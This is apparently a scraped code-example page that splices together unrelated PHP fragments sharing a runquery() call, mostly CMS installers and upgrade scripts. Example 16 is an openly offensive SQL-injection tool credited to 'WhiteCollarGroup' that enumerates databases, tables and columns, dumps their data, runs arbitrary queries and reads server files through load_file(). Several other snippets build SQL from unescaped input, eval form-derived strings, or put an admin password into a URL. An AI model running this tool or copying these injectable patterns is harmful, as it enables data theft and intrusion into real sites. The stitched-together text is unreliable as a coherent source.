    $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'");
    $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'");
    //管理员帐号密码
    $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);");
    //新增一个标识文件,用来屏蔽重新安装
    $fp = @fopen('lock', 'wb+');
    @fclose($fp);
    exit("<script type=\"text/javascript\">document.getElementById('install_process').innerHTML = '安装完成,下一步...';document.getElementById('install_process').href='index.php?step=5&sitename={$sitename}&username={$username}&password={$password}';</script>");
    exit;
}
Ejemplo n.º 16
0
function main($msg = null)
{
    global $token, $token_hex;
    echo "\n" . $msg . "\n";
    puts("[>] MAIN MENU");
    puts("[1] Browse MySQL");
    puts("[2] Run SQL Query");
    puts("[3] Read file");
    puts("[4] About");
    puts("[0] Exit");
    $resp = gets();
    if ($resp == "0") {
        exit;
    } elseif ($resp == "1") {
        // pega dbs
        $i = 0;
        puts("[.] Getting databases:");
        while (true) {
            $pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[!] Current database: " . runquery("SELECT database()"));
        puts("[?] Enter database name for select:");
        $own = array();
        $own['db'] = gets();
        $own['dbh'] = hex($own['db']);
        // pega tables da db
        $i = 0;
        puts("[.] Getting tables from {$own['db']}:");
        while (true) {
            $pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema={$own['dbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter table name for select:");
        $own['tb'] = gets();
        $own['tbh'] = hex($own['tb']);
        // pega colunas da table
        $i = 0;
        puts("[.] Getting columns from {$own['db']}.{$own['tb']}:");
        while (true) {
            $pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema={$own['dbh']} AND table_name={$own['tbh']} LIMIT {$i},1");
            if ($pega) {
                puts(" - " . $pega);
            } else {
                break;
            }
            $i++;
        }
        puts("[?] Enter columns name, separated by commas (\",\") for select:");
        $own['cl'] = explode(",", gets());
        // pega dados das colunas
        foreach ($own['cl'] as $coluna) {
            $i = 0;
            puts("[=] Column: {$coluna}");
            while (true) {
                $pega = runquery("SELECT {$coluna} FROM {$own['db']}.{$own['tb']} LIMIT {$i},1");
                if ($pega) {
                    puts(" - {$pega}");
                    $i++;
                } else {
                    break;
                }
            }
            echo "\n[ ] -+-\n";
        }
        main();
    } elseif ($resp == "2") {
        puts("[~] RUN SQL QUERY");
        puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");
        puts("[?] Query (enter for exit): ");
        $query = gets();
        if (!$query) {
            main();
        } else {
            main(runquery($query . "\n"));
        }
    } elseif ($resp == "3") {
        puts("[?] File path (may not have priv):");
        $file = hex(gets());
        $le = runquery("SELECT load_file({$file}) AS wc");
        if ($le) {
            main($le);
        } else {
            main("File not found, empty or no priv!");
        }
    } elseif ($resp == "4") {
        puts("Coded by WhiteCollarGroup");
        puts("www.wcgroup.host56.com");
        puts("*****@*****.**");
        puts("twitter.com/WCollarGroup");
        puts("facebook.com/WCollarGroup");
        puts("wcollargroup.blogspot.com");
        main();
    } else {
        main("[!] Wrong choice.");
    }
}
Ejemplo n.º 17
0
INSERT INTO cdb_prompttype (`key`, `name`, `script`) VALUES ('myinvite','{$installlang[manyou][prompttypeinvite]}','userapp.php?script=notice&action=invite');

EOF;

runquery($sql);

$sql1 = <<<EOF

REPLACE INTO cdb_settings (variable, value) VALUES ('my_status', '0');
REPLACE INTO cdb_settings (variable, value) VALUES ('my_siteid', '');
REPLACE INTO cdb_settings (variable, value) VALUES ('my_sitekey', '');

EOF;

if(empty($_DCACHE['settings']['my_siteid'])) {
	runquery($sql1);
}
if(empty($_DCACHE['settings']['uchomeurl'])) {
	getstatinfo('manyou2dz', '20090727', $_DCACHE['settings']['funcsiteid'], $_DCACHE['settings']['funckey']);
}

function getstatinfo($mark, $version, $siteid, $key) {
	global $db, $tablepre, $dbcharset, $_DCACHE;
	$onlineip = $GLOBALS['onlineip'];
	$funcurl = 'http://stat.discuz.com/func/funcstat.php';
	$members = $_DCACHE['settings']['totalmembers'];
	$bbname = $_DCACHE['settings']['bbname'];
	$PHP_SELF = htmlspecialchars($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME']);
	$url = htmlspecialchars('http://'.$_SERVER['HTTP_HOST'].preg_replace("/\/+(api|archiver|wap)?\/*$/i", '', substr($PHP_SELF, 0, strrpos($PHP_SELF, '/'))).'/');
	$posts = $db->result($db->query("SELECT count(*) FROM {$tablepre}posts"), 0);
	$hash = $bbname.$url.$mark.$version.$posts;
Ejemplo n.º 18
0
 }
 if (!@mysql_select_db($dbname) && $_POST['create']) {
     //mysql_query("DROP DATABASE `$database`;");
     $database = addslashes($dbname);
     if (version_compare(mysql_get_server_info(), '4.1.0', '>=')) {
         //	$DATABASESQL=$dbcharset=='gbk'?"DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci":"DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci";
         $DATABASESQL = "DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci";
     }
     mysql_query("CREATE DATABASE `{$database}` " . $DATABASESQL);
 }
 require_once $configfile;
 $installSQL = 'iCMS_SQL.sql';
 !is_readable($installSQL) && exit('数据库文件不存在或者读取失败');
 require_once iPATH . 'include/mysql.class.php';
 //iCMS_DB::$show_errors=true;
 runquery(FS::read($installSQL));
 iCMS_DB::query("INSERT INTO `#iCMS@__members` (`groupid`, `username`, `password`, `nickname`, `gender`, `info`, `power`, `cpower`, `regtime`, `lastip`, `lastlogintime`, `logintimes`, `post`, `type`, `status`) VALUES ('1', '{$admin}', '" . md5($password) . "', '管理员', '0', '', '', '', '" . time() . "', '', '0', '0', '0', '1', '1');");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$setupURL}' WHERE `name` ='setupURL'");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$publicURL}' WHERE `name` ='publicURL'");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$htmlURL}' WHERE `name` ='htmlURL'");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$uploadURL}' WHERE `name` ='uploadURL'");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$setupURL}' WHERE `name` ='tagURL'");
 iCMS_DB::query("UPDATE `#iCMS@__config` SET `value` = '{$usercpURL}' WHERE `name` ='usercpURL'");
 $tmp = iCMS_DB::getArray("SELECT * FROM `#iCMS@__config`");
 $config_data = "<?php\n\t\$config=array(\n";
 for ($i = 0; $i < count($tmp); $i++) {
     $_config .= "\t\t\"" . $tmp[$i]['name'] . "\"=>\"" . $tmp[$i]['value'] . "\",\n";
 }
 $config_data .= substr($_config, 0, -2);
 $config_data .= "\t\n);?>";
 FS::write(iPATH . 'include/site.config.php', $config_data);
Ejemplo n.º 19
0
<?php

if (!defined('IN_ADMIN')) {
    exit('Access Denied');
}
if ($mygroup < 9) {
    exit($_ERROR['no_power']);
}
require_once GAME_ROOT . './include/system.func.php';
$sqldir = GAME_ROOT . './gamedata/sql/';
foreach (array('log', 'chat', 'mapitem', 'newsinfo') as $v) {
    $d = file_get_contents("{$sqldir}{$v}.sql");
    $a = getmicrotime();
    if ($v == 'mapitem') {
        for ($i = 0; $i < 30; $i++) {
            $d2 = str_replace("\r", "\n", str_replace(' bra_', ' test_' . $i, $d));
            runquery($d2);
        }
    } else {
        $d = str_replace("\r", "\n", str_replace(' bra_', ' test_', $d));
        runquery($d);
    }
    $b = getmicrotime();
    $time = ($b - $a) * 1000;
    echo "{$v}.sql 执行时间:{$time} 毫秒 <br>";
}
//var_dump($db->query("DROP TABLE test_log"));
?>
 
Ejemplo n.º 20
0
 function runsql($noprint)
 {
     global $search, $auth, $idn, $id, $site_path, $im_array, $test, $i, $er, $lang, $_POST, $insertid, $r;
     if (!$this->checkPermission(1)) {
         return 0;
     }
     if ($this->act != "select") {
         $sql = $this->sql;
     } else {
         $sql = $this->action;
     }
     if ($sql) {
         if (!($numrows = $_POST['numrows'])) {
             $numrows = 1;
         }
         $tmpsql = $sql;
         for ($i = 0; $i < $numrows; $i++) {
             $sql = $tmpsql;
             $sql = str_replace("&lt;", "<", $sql);
             $sql = str_replace("&gt;", ">", $sql);
             $sqlar = explode("#", $sql);
             foreach ($sqlar as $sql) {
                 $j++;
                 $l = substr($sql, 0, 1);
                 if ($l == "^") {
                     eval($this->set_form_params(substr($sql, 1), $i));
                 } else {
                     if (($this->mode == 2 && ($this->attributes['field'] || $this->attributes['item']) || $this->mode == 1 && ($this->document->getElementsByTagName("fields") || $this->document->getElementsByTagName("header"))) && $this->name != "delete" && $this->name != "create" && $this->name != "drop") {
                         $sql = $this->set_form_params($sql, $i);
                     } else {
                         $sql = set_params($sql);
                     }
                     if ($er) {
                         break;
                     } else {
                         if (strstr($sql, "insert")) {
                             $c = 1;
                         }
                         //print $sql."<br>";
                         $sqlstr = str_replace(";", "", $sql);
                         $sqlstr = str_replace("#dot", ";", $sqlstr);
                         if ($res = runquery($sqlstr)) {
                             $str = set_params($this->success);
                         } else {
                             $er .= "<font color=black>Error<br> " . str_replace(";", "", $sql) . " <br></font>" . mysql_error();
                         }
                         if (substr($sql, 0, 6) == "select") {
                             $r = mysql_fetch_array($res);
                         }
                         if (!$er) {
                             if ($im_array) {
                                 foreach ($im_array as $v) {
                                     //print "<br>".$v['name']." ".$v['type'];
                                     $name = $this->table;
                                     if (!$name) {
                                         $name = "unfiled";
                                     }
                                     if ($auth->user == 455) {
                                         //print "$sql<br>";
                                     }
                                     //print $v['type'];
                                     $q = select("select @insertid");
                                     if ($q[0]) {
                                         $idn = $q[0];
                                     } else {
                                         $idn = $id;
                                     }
                                     if ($name && $v['image'] && $idn) {
                                         $path = $site_path . "images/" . $name . "/" . strtolower($v['name']) . "/";
                                         if (!file_exists($path)) {
                                             mkdir_r($path);
                                         }
                                         $file = fopen($path . $idn . ".jpg", "w");
                                         fputs($file, $v['image']);
                                     }
                                     if ($v['small'] && $name && $idn) {
                                         $path = $site_path . "images/" . $name . "/small/";
                                         if (!file_exists($path)) {
                                             mkdir_r($path);
                                         }
                                         $file = fopen($path . $idn . ".jpg", "w");
                                         fputs($file, $v['small']);
                                     }
                                     fclose($file);
                                 }
                             }
                             unset($im_array);
                         }
                     }
                 }
                 $r1 = select("select @error");
                 if ($r1[0]) {
                     if (strstr($r1[0], "#")) {
                         if (substr($r1[0], strlen($r1[0]) - 1, 1) == "#") {
                             $r1[0] = substr($r1[0], 0, strlen($r1[0]) - 1);
                         }
                         $ar = explode("#", $r1[0]);
                         foreach ($ar as $a) {
                             $er .= message($a) . "<br>";
                         }
                     } else {
                         $er .= message($r1[0]);
                     }
                     break;
                 }
                 //поиск----------------------------------
                 if ($this->act == "insert" || substr($sql, 0, 6) == "insert") {
                     $q = select("select SearchID from en_search where TableName='{$this->table}'");
                     if ($q[0] && $search) {
                         $insert = select("@insertid");
                         $search = str_replace("\n\r", " ", $search);
                         $search = str_replace("Є", "е", $search);
                         $search = downstr(addslashes($search));
                         $ar = explode(" ", $search);
                         $position = 1;
                         foreach ($ar as $word) {
                             if ($word) {
                                 mysql_query("insert into en_searchindex(Word,SearchID,RecordID,Position) values('{$word}','{$q['0']}','{$insert['0']}','{$position}')");
                                 $position++;
                             }
                         }
                     }
                     unset($search);
                 }
                 if ($this->act == "update" || substr($sql, 0, 6) == "update") {
                     $q = select("select SearchID from en_search where TableName='{$this->table}'");
                     if ($q[0] && $search) {
                         mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'");
                         $search = str_replace("\n\r", " ", $search);
                         $search = str_replace("Є", "е", $search);
                         $search = cut_end_word(downstr(addslashes($search)));
                         $ar = explode(" ", $search);
                         $position = 1;
                         foreach ($ar as $word) {
                             if ($word) {
                                 runsql("insert into en_searchindex(Word,SearchID,RecordID,Position) values('{$word}','{$q['0']}','{$id}','{$position}')");
                                 $position++;
                             }
                         }
                     }
                     unset($search);
                 }
                 if ($this->act == "delete" || substr($sql, 0, 6) == "delete") {
                     $q = select("select SearchID from en_search where TableName='{$this->table}'");
                     if ($q[0]) {
                         mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'");
                     }
                 }
                 //поиск-----------------------------------
             }
             if ($er) {
                 break;
             }
         }
         //if($auth->user==455)
         //{
         //	exit;
         //}
         if ($er) {
             $retstr = icon('error', "<font color=red>{$er}</font>") . "<br>";
         } elseif ($str) {
             $retstr = icon('ok', "{$str}") . "<br>";
         } else {
             $retstr = "";
         }
         if (!$noprint) {
             print $retstr;
         } else {
             return $retstr;
         }
     }
 }
Ejemplo n.º 21
0
 $query = $db->query("SELECT * FROM " . DB_TABLEPRE . "answer WHERE tag<>''");
 while ($answer = $db->fetch_array($query)) {
     $question = $db->fetch_first("SELECT * FROM " . DB_TABLEPRE . "question WHERE `id`=" . $answer['qid']);
     $taglist = tstripslashes(unserialize($answer['tag']));
     $stime = $answer['time'];
     foreach ($taglist as $index => $tag) {
         $stime += rand(60, 7200);
         $tag = '<p>' . strip_tags($tag) . '</p>';
         if ($index % 2 == 0) {
             $db->query("INSERT INTO " . DB_TABLEPRE . "answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL," . $answer['id'] . ",'" . $question['author'] . "'," . $question['authorid'] . ",'{$tag}',{$stime})");
         } else {
             $db->query("INSERT INTO " . DB_TABLEPRE . "answer_append(appendanswerid,answerid,author,authorid,content,time) VALUES (NULL," . $answer['id'] . ",'" . $answer['author'] . "'," . $answer['authorid'] . ",'{$tag}',{$stime})");
         }
     }
 }
 runquery($extend);
 $config = "<?php \r\ndefine('DB_HOST',  '" . DB_HOST . "');\r\n";
 $config .= "define('DB_USER',  '" . DB_USER . "');\r\n";
 $config .= "define('DB_PW',  '" . DB_PW . "');\r\n";
 $config .= "define('DB_NAME',  '" . DB_NAME . "');\r\n";
 $config .= "define('DB_CHARSET', '" . DB_CHARSET . "');\r\n";
 $config .= "define('DB_TABLEPRE',  '" . DB_TABLEPRE . "');\r\n";
 $config .= "define('DB_CONNECT', 0);\r\n";
 $config .= "define('TIPASK_CHARSET', '" . TIPASK_CHARSET . "');\r\n";
 $config .= "define('TIPASK_VERSION', '2.5');\r\n";
 $config .= "define('TIPASK_RELEASE', '20140511');\r\n";
 $fp = fopen(TIPASK_ROOT . '/config.php', 'w');
 fwrite($fp, $config);
 fclose($fp);
 cleardir(TIPASK_ROOT . '/data/cache');
 cleardir(TIPASK_ROOT . '/data/view');
 public function addfield($addsql)
 {
     runquery("ALTER TABLE " . XDB::table($this->_table) . " ADD " . $addsql);
 }
Ejemplo n.º 23
0
<?php

/*
	dsu_medalCenter (C)2010 Discuz Student Union
	This is NOT a freeware, use is subject to license terms

	$Id: uninstall.php 29 2011-01-15 13:35:57Z chuzhaowei@gmail.com $
*/
$filename = array('data/plugin/dsu_medalCenter', 'source/function/cache/cache_dsuMedalCenter.php');
$_sql = <<<EOT
DROP TABLE IF EXISTS `pre_dsu_medaltype`;
DROP TABLE IF EXISTS `pre_dsu_medalfield`;
EOT;
if ($step == 1) {
    foreach ($fileList as $filename) {
        @FSO::unlink($filename);
    }
    cpmsg($setpArr[$step][0] . '完成!进入下一步操作。', 'action=plugins&operation=pluginuninstall&dir=dsu_medalCenter&step=' . $nextstep, 'succeed');
} elseif ($step == 2) {
    runquery($_sql);
    cpmsg($setpArr[$step][0] . '完成!进入下一步操作。', 'action=plugins&operation=pluginuninstall&dir=dsu_medalCenter&step=' . $nextstep, 'succeed');
}
Ejemplo n.º 24
0
<?php

if (!defined('IN_KKFRAME')) {
    exit('Access Denied');
}
runquery('
CREATE TABLE IF NOT EXISTS `download` (
  `path` varchar(128) NOT NULL,
  `content` text NOT NULL,
  PRIMARY KEY (`path`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `update_source` (
  `id` varchar(16) NOT NULL,
  `path` varchar(128) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
');
saveSetting('version', '1.14.1.23');
showmessage('成功更新到 1.14.1.23!', './');
Ejemplo n.º 25
0
function install_testdata($username, $uid)
{
    global $_G, $db, $tablepre;
    showjsmessage(lang('install_test_data') . " ... " . lang('succeed'));
    $sqlfile = ROOT_PATH . './install/data/common_district_{#id}.sql';
    for ($i = 1; $i < 4; $i++) {
        $sqlfileid = str_replace('{#id}', $i, $sqlfile);
        if (file_exists($sqlfileid)) {
            $sql = file_get_contents($sqlfileid);
            $sql = str_replace("\r\n", "\n", $sql);
            runquery($sql);
        }
    }
}
Ejemplo n.º 26
0
 function runsql($noprint)
 {
     global $id, $search, $er, $lang, $HTTP_POST_VARS, $insertid, $r;
     if (!$this->checkPermission(1)) {
         return 0;
     }
     if ($this->sql) {
         if (!($numrows = $HTTP_POST_VARS['numrows'])) {
             $numrows = 1;
         }
         for ($i = 0; $i < $numrows; $i++) {
             if ($this->act != "select") {
                 $sql = $this->sql;
             } else {
                 $sql = $this->action;
             }
             $sqlar = explode("#", $sql);
             foreach ($sqlar as $sql) {
                 $l = substr($sql, 0, 1);
                 if ($l == "^") {
                     eval($this->set_form_params(substr($sql, 1), $i));
                 } else {
                     if ($this->name != "delete" && $this->name != "create" && $this->name != "drop") {
                         $sql = $this->set_form_params($sql, $i);
                     } else {
                         $sql = set_params($sql);
                     }
                     if ($er) {
                         break;
                     } else {
                         if (strstr($sql, "insert")) {
                             $c = 1;
                         }
                         if ($res = runquery(str_replace(";", "", $sql))) {
                             $str = set_params($this->success);
                             unset($HTTP_POST_VARS);
                         } else {
                             $er .= "<font color=black>Error<br> " . str_replace(";", "", $sql) . " <br></font>" . mysql_error();
                         }
                         if (substr($sql, 0, 6) == "select") {
                             $r = mysql_fetch_array($res);
                         }
                         //print "$sql<br><font color=red>".mysql_error()."</font><br>";
                         if ($num = mysql_insert_id()) {
                             $insertid = $num;
                             mysql_query("set @insertid='{$insertid}'");
                         }
                         if (substr($sql, 0, 6) == "insert") {
                             $insertid = mysql_insert_id();
                         }
                         $res = mysql_query("select @error");
                         $r1 = mysql_fetch_array($res);
                         if ($r1[0]) {
                             if (strstr($r1[0], "#")) {
                                 if (substr($r1[0], strlen($r1[0]) - 1, 1) == "#") {
                                     $r1[0] = substr($r1[0], 0, strlen($r1[0]) - 1);
                                 }
                                 $ar = explode("#", $r1[0]);
                                 foreach ($ar as $a) {
                                     $er .= message($a) . "<br>";
                                 }
                             } else {
                                 $er .= message($r1[0]);
                             }
                             break;
                         }
                         //поиск----------------------------------
                         if ($this->act == "insert" || substr($sql, 0, 6) == "insert") {
                             $q = select("select SearchID from en_search where TableName='{$this->table}'");
                             if ($q[0] && $search) {
                                 $insert = select("@insertid");
                                 $search = str_replace("\n\r", " ", $search);
                                 $search = str_replace("Є", "е", $search);
                                 $search = downstr(addslashes($search));
                                 $ar = explode(" ", $search);
                                 $position = 1;
                                 foreach ($ar as $word) {
                                     if ($word) {
                                         mysql_query("insert into en_searchindex values('{$word}','{$q['0']}','{$insert['0']}','{$position}')");
                                         $position++;
                                     }
                                 }
                             }
                             unset($search);
                         }
                         if ($this->act == "update" || substr($sql, 0, 6) == "update") {
                             $q = select("select SearchID from en_search where TableName='{$this->table}'");
                             if ($q[0] && $search) {
                                 mysql_query("delete from en_searchindex where SearchID='{$q['0']}' and RecordID='{$id}'");
                                 $search = str_replace("\n\r", " ", $search);
                                 $search = str_replace("Є", "е", $search);
                                 $search = cut_end_word(downstr(addslashes($search)));
                                 $ar = explode(" ", $search);
                                 $position = 1;
                                 foreach ($ar as $word) {
                                     if ($word) {
                                         mysql_query("insert into en_searchindex values('{$word}','{$q['0']}','{$id}','{$position}')");
                                         $position++;
                                     }
                                 }
                             }
                             unset($search);
                         }
                         //поиск-----------------------------------
                     }
                 }
             }
             if ($er) {
                 break;
             }
         }
         //exit;
         if ($er) {
             $retstr = icon('error', "<font color=red>{$er}</font>") . "<br>";
         } elseif ($str) {
             $retstr = icon('ok', "{$str}") . "<br>";
         } else {
             $retstr = "";
         }
         if (!$noprint) {
             print $retstr;
         } else {
             return $retstr;
         }
     }
 }
Ejemplo n.º 27
0
        if (strpos($config, 'define(\'UC_FOUNDERSALT\'') !== FALSE) {
            $config = preg_replace("/define\\(\\'UC_FOUNDERSALT\\', \\'(\\w+)\\'\\);/", "define('UC_FOUNDERSALT', '{$ucsalt}');\r\n", $config);
        } else {
            $config = preg_replace("/(.+)\\?\\>\$/", "\\1", trim($config));
            $config .= "define('UC_FOUNDERSALT', '{$ucsalt}');\r\n";
        }
        $fp = fopen(UC_CONFIG, 'w');
        fwrite($fp, $config);
        fclose($fp);
        header("Location:upgrade_1.0.0Beta_1.0.0.php?action=db");
    }
} elseif ($action == 'db') {
    showheader();
    $db = new db();
    $db->connect(UC_DBHOST, UC_DBUSER, UC_DBPW, UC_DBNAME, UC_DBCHARSET);
    runquery($sql);
    @mkdir(UC_ROOT . './data/tmp', 0777);
    @mkdir(UC_ROOT . './data/backup', 0777);
    dir_clear(UC_ROOT . './data/view');
    echo "The upgrade is complete. Please delete the upgrade_1.0.0Beta_1.0.0.php";
    showfooter();
}
function dir_clear($dir)
{
    $directory = dir($dir);
    while ($entry = $directory->read()) {
        $filename = $dir . '/' . $entry;
        if (is_file($filename)) {
            @unlink($filename);
        }
    }
Ejemplo n.º 28
0
		<div class="btn"><div class="btn_right"><a hidefocus="true" href="../">进入首页</a></div></div>
	    <div class="btn"><div class="btn_right"><a hidefocus="true" href="../sysadmin/login.php">直接进入管理后台</a></div></div>
	</div>
<?php 
}
?>
    </form>
    <div class="clear"></div>
    </div>
    <div class="bottom"></div>
</div>
<strong>Powered by iweb_sns V1.0 &copy; 2010 </strong>
<br /><br />
<?php 
if ($step == '3' && $creatable) {
    runquery(openfile($installSQL), $tablePreStr);
    ?>
		<script type="text/javascript">showMsg('');showMsg('共创建了<?php 
    echo $tablenum;
    ?>
个数据表.');</script>
		<script type="text/javascript">$('createTables').disabled = '';$('createTables').value = '完 成';$('createTables').style.color = '#4e4e4e';$('createTables').style.cursor = 'pointer';</script>
<?php 
    $sql = "INSERT INTO isns_admin(`admin_name`,`admin_password`,`admin_group`,`active_time`,`is_pass`) VALUES('{$admin}','" . md5($password) . "','superadmin',NOW(),1)";
    $sql = str_replace('isns_', $tablePreStr, $sql);
    if (!$db->query($sql)) {
        echo '创建后台管理员失败!';
        exit;
    }
}
?>
Ejemplo n.º 29
0
						"<td>$info[dateline]</td>\n".
						"<td>$info[type]</td>\n".
						"<td>".get_real_size($info[size])."</td>\n".
						"<td>$info[method]</td>\n".
						"<td>$info[volume]</td>\n".
						"<td><a href=\"?action=all_restore&file=$info[filename]&importsubmit=yes&auto=off\">[导入]</a></td>\n</tr>\n";
			}
			$exportinfo .= '</table>';
			echo $exportinfo;
		}
		echo "<br>";
		cexit("");
	}
} elseif($action == 'all_runquery') {//运行sql
		if(!empty($_POST['sqlsubmit']) && $_POST['queries']) {
			runquery($queries);
		}
		htmlheader();
		runquery_html();
		htmlfooter();	
} elseif($action == 'all_checkcharset') {//编码检测
	$maincharset = $dbcharset;
	$tooltip = '<h4>编码检查</h4>'."<div class=\"specialdiv\">操作提示:<ul>
				<li>MySQL版本在4.1以上才有字符集的设定,所以数据库4.1版本以上的才能使用本功能</li>
				<li>如果某些字段的字符集不一致,有可能会导致程序中出现乱码,尽量把字符集不一致的字段转换成统一字符集</li>
				<li>有关MySQL编码机制可以参考 <a href='http://www.discuz.net/viewthread.php?tid=1022673' target='_blank'>点击查看</a></li>
				<li>一些关于MySQL编码方面的<a href='http://www.discuz.net/viewthread.php?tid=1070306' target='_blank'>教程</a></li>
				<li><font color=red>此功能只是帮你将数据库字段的编码转换,并不进行数据库内数据的编码转换,修复前请先备份你的数据库,以免造成不必要的损失,如果因为你没有备份数据库造成的损失与本程序无关</font></li>
				<li><font color=red>如需要转换数据库内的数据编码,请使用“<a href='?action=datago'>转码</a>”功能</font></li>
				</ul></div>";
	if($my_version > '4.1') {
Ejemplo n.º 30
0
 }
 keke_tpl_class::swritefile($config_path, $config_content);
 // 写配置文件
 if ($data_type == 'b') {
     // 带演示版本
     $sqlfile = $sqldemofile;
 }
 $sql = file_get_contents($sqlfile);
 $sql = str_replace("\r\n", "\n", $sql);
 include INSTALL_ROOT . 'tpl' . DIRECTORY_SEPARATOR . $step . '.tpl.php';
 runquery($sql, $tablepre, $db);
 // ob
 for ($i = 1; $i <= 3; $i++) {
     $sql_district = file_get_contents(INSTALL_ROOT . 'data/keke_witkey_district_' . $i . '.sql');
     $sql_district = str_replace("\r\n", "\n", $sql_district);
     runquery($sql_district, $tablepre, $db);
     // ob
 }
 $password = md5($admin_password);
 $slt = randomkeys(6);
 // 随机码
 $sec_code = get_password($password, $slt);
 if ($data_type == 'b') {
     // 演示版本,更新数据
     $db->query("update `{$tablepre}witkey_member` set username = '******',password = '******',email = '{$admin_email}',rand_code='{$slt}' where uid = 1");
     $db->query("update `{$tablepre}witkey_space` set username = '******',password = '******',email = '{$admin_email}',sec_code='{$sec_code}',group_id = 1,status = 1 where uid = 1");
 } else {
     // 纯净版本、插入数据
     $db->query("replace INTO `{$tablepre}witkey_member`(`uid`,`username`,`password`,`email`,`rand_code`) VALUES ('1', '{$admin_account}','{$password}','{$admin_email}','{$slt}')");
     $db->query("replace INTO `{$tablepre}witkey_space` (`uid`,`username`,`password`,`email`,`sec_code`,`group_id`,`status`,`reg_time`) VALUES('1','{$admin_account}','{$password}','{$admin_email}','{$sec_code}','1','1','" . time() . "')");
     $db->query("replace INTO `{$tablepre}witkey_shop`(`uid`,`username`,`shop_name`,`shop_status`,`shop_type`) VALUES ('1', '{$admin_account}','{$admin_account}','1','1')");